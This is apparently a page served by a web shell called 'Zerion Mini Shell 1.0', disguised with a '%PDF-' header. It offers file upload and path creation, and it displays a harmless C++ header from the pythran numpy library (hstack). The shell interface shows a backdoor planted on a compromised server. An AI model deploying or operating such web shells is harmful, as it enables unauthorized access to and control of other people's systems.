%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/pythran/pythonic/numpy/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/pythran/pythonic/numpy/hstack.hpp

#ifndef PYTHONIC_NUMPY_HSTACK_HPP
#define PYTHONIC_NUMPY_HSTACK_HPP

#include <pythonic/include/numpy/hstack.hpp>
#include <pythonic/numpy/concatenate.hpp>

PYTHONIC_NS_BEGIN

namespace numpy
{

  template <class ArraySequence>
  auto hstack(ArraySequence &&seq)
      -> decltype(concatenate(std::forward<ArraySequence>(seq), 1))
  {
    auto constexpr concatenate_axis =
        (decltype(concatenate(std::forward<ArraySequence>(seq), 1))::value !=
         1);
    return concatenate(std::forward<ArraySequence>(seq), concatenate_axis);
  }
}
PYTHONIC_NS_END

#endif

Zerion Mini Shell 1.0